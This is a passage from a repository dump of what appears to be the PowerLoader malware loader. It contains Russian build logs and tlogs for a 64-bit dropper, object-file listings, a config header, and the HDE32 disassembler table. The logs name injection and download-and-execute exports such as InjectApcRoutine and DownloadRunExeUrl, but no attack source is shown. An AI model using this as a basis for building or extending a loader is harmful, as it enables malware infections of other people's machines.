и объект C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper64.exp 40 | sdropper64.vcxproj -> C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper64.exe 41 | FinalizeBuildStatus: 42 | Файл "Debug\sdropper64.unsuccessfulbuild" удаляется. 43 | Обращение к "Debug\sdropper64.lastbuildstate". 44 | 1>Построение проекта "C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\sdropper64.vcxproj" завершено (целевые объекты rebuild). 45 | 46 | Построение успешно завершено. 47 | 48 | Затраченное время: 00:00:03.04 49 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/sdropper64.write.1.tlog: -------------------------------------------------------------------------------- 1 | ^C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\sdropper64.vcxproj 2 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper64.lib 3 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper64.lib 4 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper64.exp 5 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper64.exp 6 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/seccfg.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/seccfg.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/server.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/server.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/utils.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/utils.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/vc100.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/vc100.pdb -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.1400.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.1400.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.1400.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.1400.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.3840.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.3840.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.3840.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.3840.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.4204.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.4204.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.4204.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.4204.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.4920.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.4920.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.4920.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.4920.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.5072.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.5072.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.5072.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.5072.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.5164.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.5164.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.5164.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.5164.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.5264.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.5264.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.5264.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.5264.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.5744.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.5744.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.5744.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.5744.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/CL.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/cfgini.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/cfgini.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/cl.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/cl.command.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/cl.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/cl.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/config.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/config.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/dropper.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/dropper.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/inject.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/inject.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/link.command.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/link.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/link.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/peldr.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/peldr.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/protect.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/protect.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/sdropper64.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.2828.read.1.tlog 2 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.2828.write.1.tlog 3 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.2856.read.1.tlog 4 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.2856.write.1.tlog 5 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.4032.read.1.tlog 6 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.4032.write.1.tlog 7 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.4980.read.1.tlog 8 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.4980.write.1.tlog 9 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.5316.read.1.tlog 10 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.5316.write.1.tlog 11 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.5848.read.1.tlog 12 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.5848.write.1.tlog 13 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.5976.read.1.tlog 14 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.5976.write.1.tlog 15 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.6104.read.1.tlog 16 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.6104.write.1.tlog 17 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\cl.command.1.tlog 18 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\CL.read.1.tlog 19 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\cl.write.1.tlog 20 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ64\RELEASE\DROPPER.OBJ 21 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ64\RELEASE\INJECT.OBJ 22 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ64\RELEASE\PELDR.OBJ 23 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ64\RELEASE\PROTECT.OBJ 24 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ64\RELEASE\SECCFG.OBJ 25 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ64\RELEASE\SERVER.OBJ 26 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ64\RELEASE\UTILS.OBJ 27 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\Release\vc100.pdb 28 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/sdropper64.lastbuildstate: -------------------------------------------------------------------------------- 1 | #v4.0:v100 2 | Release|x64|C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\| 3 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/sdropper64.log: -------------------------------------------------------------------------------- 1 | Построение начато 16.10.2012 18:12:19. 2 | 1>Проект "C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\sdropper64.vcxproj" в узле 2 (целевые объекты rebuild). 3 | 1>_PrepareForClean: 4 | Файл "Release\sdropper64.lastbuildstate" удаляется. 5 | InitializeBuildStatus: 6 | Обращение к "Release\sdropper64.unsuccessfulbuild". 7 | ClCompile: 8 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\x86_amd64\CL.exe /c /I..\..\share /Zi /nologo /W3 /WX- /Ox /Ob1 /Oi /Os /GL /D WIN64 /D _WIN64 /D NDEBUG /D _WINDOWS /D _CRT_SECURE_NO_WARNINGS /D _MBCS /Gm- /MT /GS- /Gy /fp:precise /Zc:wchar_t /Zc:forScope /GR- /Fo"Release\\" /Fd"Release\vc100.pdb" /Gz /TP /errorReport:prompt ..\..\share\cfgini.cpp ..\..\share\peldr.cpp ..\..\share\seccfg.cpp ..\..\share\utils.cpp ..\config.cpp ..\dropper.cpp ..\inject.cpp ..\protect.cpp ..\server.cpp /MP 9 | cfgini.cpp 10 | peldr.cpp 11 | seccfg.cpp 12 | utils.cpp 13 | config.cpp 14 | dropper.cpp 15 | inject.cpp 16 | protect.cpp 17 | server.cpp 18 | Link: 19 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\x86_amd64\link.exe /ERRORREPORT:PROMPT /OUT:"..\..\_out\Release\sdropper64.exe" /INCREMENTAL:NO /NOLOGO ntdll64.lib shlwapi.lib wsock32.lib wininet.lib rpcrt4.lib imagehlp.lib psapi.lib Urlmon.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST:NO /PDB:"C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_out\Release\sdropper64.pdb" /MAP /MAPINFO:EXPORTS /SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /LTCG /TLBID:1 /ENTRY:"Entry" /RELEASE /DYNAMICBASE /FIXED:NO /NXCOMPAT /IMPLIB:"C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\..\_out\Release\sdropper64.lib" /MACHINE:X64 Release\cfgini.obj 20 | Release\peldr.obj 21 | Release\seccfg.obj 22 | Release\utils.obj 23 | Release\config.obj 24 | Release\dropper.obj 25 | Release\inject.obj 26 | Release\protect.obj 27 | Release\server.obj 28 | /export:InjectNormalRoutine 29 | /export:InjectApcRoutine 30 | /export:DownloadRunExeUrl 31 | /export:DownloadRunExeId 32 | /export:DownloadUpdateMain 33 | /export:WriteConfigString 34 | /export:SendLogs 35 | 36 | Создается библиотека C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\..\_out\Release\sdropper64.lib и объект C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\..\_out\Release\sdropper64.exp 37 | Создание кода 38 | Создание кода завершено 39 | sdropper64.vcxproj -> C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\..\_out\Release\sdropper64.exe 40 | FinalizeBuildStatus: 41 | Файл "Release\sdropper64.unsuccessfulbuild" удаляется. 42 | Обращение к "Release\sdropper64.lastbuildstate". 43 | 1>Построение проекта "C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\sdropper64.vcxproj" завершено (целевые объекты rebuild). 44 | 45 | Построение успешно завершено. 46 | 47 | Затраченное время: 00:00:02.19 48 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/sdropper64.write.1.tlog: -------------------------------------------------------------------------------- 1 | ^C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj64\sdropper64.vcxproj 2 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_out\Release\sdropper64.lib 3 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_out\Release\sdropper64.lib 4 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_out\Release\sdropper64.exp 5 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_out\Release\sdropper64.exp 6 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/seccfg.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/seccfg.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/server.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/server.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/utils.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/utils.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Release/vc100.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Release/vc100.pdb -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/sdropper64.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | share 6 | 7 | 8 | share 9 | 10 | 11 | share 12 | 13 | 14 | sdropper64 15 | 16 | 17 | sdropper64 18 | 19 | 20 | sdropper64 21 | 22 | 23 | sdropper64 24 | 25 | 26 | sdropper64 27 | 28 | 29 | share 30 | 31 | 32 | 33 | 34 | share 35 | 36 | 37 | share 38 | 39 | 40 | share 41 | 42 | 43 | sdropper64 44 | 45 | 46 | sdropper64 47 | 48 | 49 | sdropper64 50 | 51 | 52 | sdropper64 53 | 54 | 55 | sdropper64 56 | 57 | 58 | share 59 | 60 | 61 | 62 | 63 | {7fe81df2-45ab-40b2-a9f1-027b9f18d180} 64 | 65 | 66 | {5b4e0dae-5a54-4da4-a14a-53711ef32aa3} 67 | 68 | 69 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/sdropper64.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /src/share/cfgini.h: -------------------------------------------------------------------------------- 1 | #ifndef _CFGIINI_H_ 2 | #define _CFGIINI_H_ 3 | 4 | BOOLEAN CfgfWriteString(PCHAR pcFile, PCHAR pcSection, PCHAR pcVariable, PCHAR pcValue, PCHAR Key); 5 | DWORD CfgfReadString(PCHAR pcFile, PCHAR pcSection, PCHAR pcVariable, PCHAR lpDefault, PCHAR pcValue, DWORD dwValue, PCHAR Key); 6 | 7 | PVOID CfgsWriteString(PVOID pvBuffer, PDWORD pdwBuffer, PCHAR pcSection, PCHAR pcVariable, PCHAR pcValue); 8 | DWORD CfgsReadString(PVOID pvBuffer, DWORD dwBuffer, PCHAR pcSection, PCHAR pcVariable, PCHAR *ppcValue); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /src/share/hde32/hde32.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 32 3 | * Copyright (c) 2006-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | * hde32.h: C/C++ header file 7 | * 8 | */ 9 | 10 | #ifndef _HDE32_H_ 11 | #define _HDE32_H_ 12 | 13 | /* stdint.h - C99 standard header 14 | * http://en.wikipedia.org/wiki/stdint.h 15 | * 16 | * if your compiler doesn't contain "stdint.h" header (for 17 | * example, Microsoft Visual C++), you can download file: 18 | * http://www.azillionmonkeys.com/qed/pstdint.h 19 | * and change next line to: 20 | * #include "pstdint.h" 21 | */ 22 | 23 | #define F_MODRM 0x00000001 24 | #define F_SIB 0x00000002 25 | #define F_IMM8 0x00000004 26 | #define F_IMM16 0x00000008 27 | #define F_IMM32 0x00000010 28 | #define F_DISP8 0x00000020 29 | #define F_DISP16 0x00000040 30 | #define F_DISP32 0x00000080 31 | #define F_RELATIVE 0x00000100 32 | #define F_2IMM16 0x00000800 33 | #define F_ERROR 0x00001000 34 | #define F_ERROR_OPCODE 0x00002000 35 | #define F_ERROR_LENGTH 0x00004000 36 | #define F_ERROR_LOCK 0x00008000 37 | #define F_ERROR_OPERAND 0x00010000 38 | #define F_PREFIX_REPNZ 0x01000000 39 | #define F_PREFIX_REPX 0x02000000 40 | #define F_PREFIX_REP 0x03000000 41 | #define F_PREFIX_66 0x04000000 42 | #define F_PREFIX_67 0x08000000 43 | #define F_PREFIX_LOCK 0x10000000 44 | #define F_PREFIX_SEG 0x20000000 45 | #define F_PREFIX_ANY 0x3f000000 46 | 47 | #define PREFIX_SEGMENT_CS 0x2e 48 | #define PREFIX_SEGMENT_SS 0x36 49 | #define PREFIX_SEGMENT_DS 0x3e 50 | #define PREFIX_SEGMENT_ES 0x26 51 | #define PREFIX_SEGMENT_FS 0x64 52 | #define PREFIX_SEGMENT_GS 0x65 53 | #define PREFIX_LOCK 0xf0 54 | #define PREFIX_REPNZ 0xf2 55 | #define PREFIX_REPX 0xf3 56 | #define PREFIX_OPERAND_SIZE 0x66 57 | #define PREFIX_ADDRESS_SIZE 0x67 58 | 59 | #pragma pack(push,1) 60 | 61 | typedef struct { 62 | uint8_t len; 63 | uint8_t p_rep; 64 | uint8_t p_lock; 65 | uint8_t p_seg; 66 | uint8_t p_66; 67 | uint8_t p_67; 68 | uint8_t opcode; 69 | uint8_t opcode2; 70 | uint8_t modrm; 71 | uint8_t modrm_mod; 72 | uint8_t modrm_reg; 73 | uint8_t modrm_rm; 74 | uint8_t sib; 75 | uint8_t sib_scale; 76 | uint8_t sib_index; 77 | uint8_t sib_base; 78 | union { 79 | uint8_t imm8; 80 | uint16_t imm16; 81 | uint32_t imm32; 82 | } imm; 83 | union { 84 | uint8_t disp8; 85 | uint16_t disp16; 86 | uint32_t disp32; 87 | } disp; 88 | uint32_t flags; 89 | } hde32s; 90 | 91 | #pragma pack(pop) 92 | 93 | #ifdef __cplusplus 94 | extern "C" { 95 | #endif 96 | 97 | /* __cdecl */ 98 | unsigned int hde32_disasm(const void *code, hde32s *hs); 99 | 100 | #ifdef __cplusplus 101 | } 102 | #endif 103 | 104 | #endif /* _HDE32_H_ */ 105 | -------------------------------------------------------------------------------- /src/share/hde32/table32.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 32 C 3 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | */ 7 | 8 | #define C_NONE 0x00 9 | #define C_MODRM 0x01 10 | #define C_IMM8 0x02 11 | #define C_IMM16 0x04 12 | #define C_IMM_P66 0x10 13 | #define C_REL8 0x20 14 | #define C_REL32 0x40 15 | #define C_GROUP 0x80 16 | #define C_ERROR 0xff 17 | 18 | #define PRE_ANY 0x00 19 | #define PRE_NONE 0x01 20 | #define PRE_F2 0x02 21 | #define PRE_F3 0x04 22 | #define PRE_66 0x08 23 | #define PRE_67 0x10 24 | #define PRE_LOCK 0x20 25 | #define PRE_SEG 0x40 26 | #define PRE_ALL 0xff 27 | 28 | #define DELTA_OPCODES 0x4a 29 | #define DELTA_FPU_REG 0xf1 30 | #define DELTA_FPU_MODRM 0xf8 31 | #define DELTA_PREFIXES 0x130 32 | #define DELTA_OP_LOCK_OK 0x1a1 33 | #define DELTA_OP2_LOCK_OK 0x1b9 34 | #define DELTA_OP_ONLY_MEM 0x1cb 35 | #define DELTA_OP2_ONLY_MEM 0x1da 36 | 37 | unsigned char hde32_table[] = { 38 | 0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3, 39 | 0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f, 40 | 0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3, 41 | 0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa, 42 | 0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90, 43 | 0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f, 44 | 0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d, 45 | 0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59, 46 | 0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59, 47 | 0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0, 48 | 0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01, 49 | 0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11, 50 | 0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8, 51 | 0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca, 52 | 0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff, 53 | 0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03, 54 | 0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00, 55 | 0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00, 56 | 0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 57 | 0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 58 | 0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f, 59 | 0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a, 60 | 0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a, 61 | 0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a, 62 | 0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06, 63 | 0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06, 64 | 0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, 65 | 0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08, 66 | 